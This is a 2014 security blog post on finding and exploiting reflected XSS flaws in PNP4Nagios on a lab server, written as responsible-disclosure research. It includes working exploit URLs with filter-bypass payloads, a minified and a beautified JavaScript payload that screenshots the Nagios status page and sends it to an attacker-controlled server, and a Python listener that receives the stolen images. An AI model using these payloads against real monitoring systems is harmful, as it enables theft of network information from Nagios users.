XSS in PNP4Nagios

Posted on Fri 04 July 2014 in Web Hacking

Yesterday this was sent to the OSS-Security mailing list. For some reason the subject caught my eye (CVE request: pnp4nagios - Two URL Cross-Site Scripting Vulnerabilities).

Needless to say, I didn't bother reading it, the investigation started immediately. This is a result of that investigation.

I started by downloading and installing Nagios and PNP4Nagios onto a freshly installed Debian Wheezy VM.

I'm not going to go into the actual installation, its easy enough and there is plenty of documentation that explains how to do it, all I will say is that you will need Nagios 3 (I couldn't get PNP4Nagios working with Nagios 4) and I installed the latest version of PNP4Nagios (which was 0.6.22 at the time of writing).

You might have to leave Nagios a few minutes to collect some data, I didn't set up some any services, Nagios comes with some default services which should be fine for our purposes.

After this and you have removed /usr/local/pnp4nagios/share/install.php from the server, visit http://[server]/pnp4nagios/, put in the username and password; and you should see this:

Testing The App

First it makes sense to test this input we have (host) for the most basic types of XSS:

As you can see, there is some filtering going on here, although it does confuse me as to why HTML is allowed to be injected at all.

The filtering going on here looks like its replacing at least '/' (forward slash) and ' ' (space) with '_' (underscore).

And looking at the source, the output is encoded:

After clicking on a service and a timerange on the right, a few more inputs appear:

From the previous tests it seems that the error page has reasonably good filtering, so let's try to avoid that and come back to it later if we have to.

We have 2 new inputs to test (srv and view), I test each of these by appending <foobar> to them.

Testing srv this way brings me back to the error page but testing view the page loads fine:

Looking at the source and searching for foobar, we can see that it is stored in a hidden input tag and there doesn't seem to be any filtering:

Exploiting The App

Lets try the normal tests, while prepending "> to break out of the input tag, and look at the source:

We're very nearly there, it looks like onerror attribute is being removed (I tried a few others as well and they were all removed), let's try and fool the filter using the classic /**/ method:

Success!

The full URL I typed here was http://dev/pnp4nagios/graph?host=localhost&srv=_HOST_&view=3%22%3E%3Cimg%20src=F%20/**/onerror=%22alert%281%29%22%3E

In fact, what this application seems to be doing is adding hidden fields for any argument that you give it and doesn't do sufficient filtering on any of them, I send this url (http://dev/pnp4nagios/graph?host=localhost&srv=_HOST_&monkey=foobar) and this was the resulting source:

Finding Another XSS

Let's also have a look at the zoom function on these graphs, clicking the zoom button (the little magnifying glass icon) you get this window:

I copied the full URL and pasted it into my normal browser window so that I can play with the URL.

Looking at the source the first thing I notice is that some of these inputs are vulnerable to the same XSS, inside the img tag near the bottom, it seems to be subjected to the same filtering so I assume that it is the same vulnerability, however the second thing I notice is inside the script tags, inside a function called redirect:

As you can see, it appears that 1 of our inputs (source) is put inside these script tags, let's test to see what type of filtering it is subjected to:

Apparently there is no filtering here!

Now all we have to do is figure out the correct prefix and suffix to allow us to run our javascript and still maintain valid syntax.

We are inside a function that we need to break out of if we want our code to run on load, we do this by prepending ;}; to our payload.

Next we need to start a new function to ensure the syntax is correct, we do this by appending function r(){, so our payload end up like this ;};alert(1);function r(){:

Nice! We have our second XSS! :-)

Here is the full URL I used: http://dev/pnp4nagios/zoom?host=localhost&srv=Current_Load&view=0&source=0;};alert%281%29;function%20r%28%29{&end=1404503451&start=1404468087&graph_width=500&graph_height=100

Going Beyond Alert(1)

I decided to demonstrate what can be done with this vulnerability.

I will use a javascript library called html2canvas to create a screenshot of a Nagios page to get as much information as possible about the network that is being monitored by Nagios.

The page we will target is http://dev/nagios/cgi-bin/status.cgi?host=all. This page lists all of the hosts and services, on a real monitoring server we could get some juicy information on this page.

Here is the javascript that I wrote for this purpose:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
d=document;function r(){n=d.body.childNodes;for(i=0;i<n.length;i++){n[i].remove()
;};};for(i=0;i<3;i++){r();};window.stop();f=d.createElement('iframe');
f.src='/nagios/cgi-bin/status.cgi?host=all';f.style='border: 0; position:fixed;
 top:0; left:0; right:0;bottom:0; width:100%; height:100%';f.scrolling='no';
f.id='e';f.onload=function (){html2canvas(d.getElementsByTagName('iframe')[0]
.contentDocument.documentElement,{onrendered: function(canvas)
{q=new XMLHttpRequest();q.open('GET','http://localhost:9000/?image='
+canvas.toDataURL(),true);q.send(null);}});};s=d.createElement('script');
s.src='http://html2canvas.hertzen.com/build/html2canvas.js';
d.body.appendChild(s);d.body.appendChild(f);

I originally had it all on 1 line but I put it on seperate lines here for readability (this will work as is, you will just need to join lines 3 and 4).

This javascript works perfectly for both of the XSS vulnerabilities we have found, just replace alert(1) with a URL encoded version of the code above. This site will encode it for you.

I tried to make the payload reasonably small, you generally want to make an exploit payload as small as possible to raise as little suspicion as possible. I could probably have shrunk it more, especially as the site is using jquery but I'll leave that to someone else.

Let's analyse this code a little and see what it is doing.

Firstly it implements a function where it iterates through every element in the body of the page and removes it. Now we have a blank body to build on top of.

Next it runs window.stop();, this stops the main page from refreshing every 90 seconds.

It then creates an iframe which fills the page and has the src attribute set to /nagios/cgi-bin/status.cgi?host=all.

The onload event of the iframe is then hooked, inside this function it uses html2canvas using the HTML content of the iframe and hooks the onrendered event.

Once html2canvas has rendered the page it sends a GET request to http://localhost:9000/?image= with the base64 encoded output of html2canvas appended (this could be a link to any server under the attackers control).

Lastly it creates a script tag with http://html2canvas.hertzen.com/build/html2canvas.js (the html2canvas library) as the src attribute and appends the script tag and iframe to the body of the page.

When run through a beautifier, the code looks like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
d = document;

function r() {
    n = d.body.childNodes;
    for (i = 0; i < n.length; i++) {
        n[i].remove();
    };
};
for (i = 0; i < 3; i++) {
    r();
};
window.stop();
f = d.createElement('iframe');
f.src = '/nagios/cgi-bin/status.cgi?host=all';
f.style = 'border: 0; position:fixed; top:0; left:0; right:0;bottom:0; width:100%; height:100%';
f.scrolling = 'no';
f.id = 'e';
f.onload = function () {
    html2canvas(d.getElementsByTagName('iframe')[0].contentDocument.documentElement, {
        onrendered: function (canvas) {
            q = new XMLHttpRequest();
            q.open('GET', 'http://localhost:9000/?image=' + canvas.toDataURL(), true);
            q.send(null);
        }
    });
};
s = d.createElement('script');
s.src = 'http://html2canvas.hertzen.com/build/html2canvas.js';
d.body.appendChild(s);
d.body.appendChild(f);

We're nearly there. To automate the receiving of the image, I've written a python script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python

import SocketServer, base64

class H2CHandler(SocketServer.BaseRequestHandler):
    def handle(self):
        fulldata = ''
        data = 'dummy'
        while len(data):
            data = self.request.recv(4096)
            fulldata += data
            if fulldata.find('Host:') != -1:
                break
        print 'got image'
        img = fulldata.split('base64,')[1].split(' ')[0]

        fd = open("/tmp/imgs/test.png", "w")
        fd.write(base64.b64decode(img))
        fd.close()

serverAddr = ("0.0.0.0", 9000)

server = SocketServer.TCPServer(serverAddr, H2CHandler)

server.serve_forever()

This script could be improved but it will serve our purpose right now.

If you run our payload while this server is running an image like the following should be created in /tmp/imgs/test.png:

Conclusion

No user input should be trusted in any situation. All input should be properly sanitized and in regards to websites, if HTML is not needed (as in this case), it should not be allowed.

In both of these cases, only numerical inputs should be allowed and everything else should be dropped.

Happy Hacking :-)

EDIT (2014-07-16):

On the day I posted this (2014-07-04) I informed the developers incase I had found new vulnerabilities that they didn't already know about and wasn't mention in the post to the OSS-Security mailing list.

A bit of back and fourth went on (I installed their latest version from github) until it was clear that 2 of the 3 vulnerabilities I found were actually new:

http://dev/pnp4nagios/zoom?host=localhost&srv=Current_Load&view=0&source=0;%7D;alert%281%29;function%20r%28%29%7B&end=1404503451&start=1404468087&graph_width=500&graph_height=100

http://dev/pnp4nagios/zoom?host=localhost&srv=Current_Load&view=0&source=0%22%3E%3Cimg%20src=F%20/**/onerror=%22alert%281%29%22%3E&end=1404503451&start=1404468087&graph_width=500&graph_height=100

The second one here I dismissed in my post as probably the same as the previous 1 I had found but in fact it wasn't, the first 1 I found in the post above was already fixed.

So the developers went away and fixed these 2 vulnerabilities on 2014-07-09, here are the commits.

So I had another look and about an hour later I found another:

http://dev/pnp4nagios/zoom?host=localhost&srv=_%22%3E%3Cimg%20src=B%20/**/onerror=%22alert%281%29%22%3E_&view=1&source=0&end=1404916359&start=1404826359

Again I informed the developer and it was fixed on 2014-07-12, here are the commits.